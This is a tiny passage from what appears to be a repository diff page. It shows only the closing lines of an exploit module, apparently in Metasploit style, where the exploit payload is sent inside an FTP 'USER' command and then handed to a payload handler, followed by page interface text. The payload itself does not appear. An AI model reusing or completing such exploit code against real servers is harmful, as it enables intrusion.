||||
# profit
|
||||
send_cmd(['USER', sploit] , false)
|
||||
handler
|
||||
disconnect
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user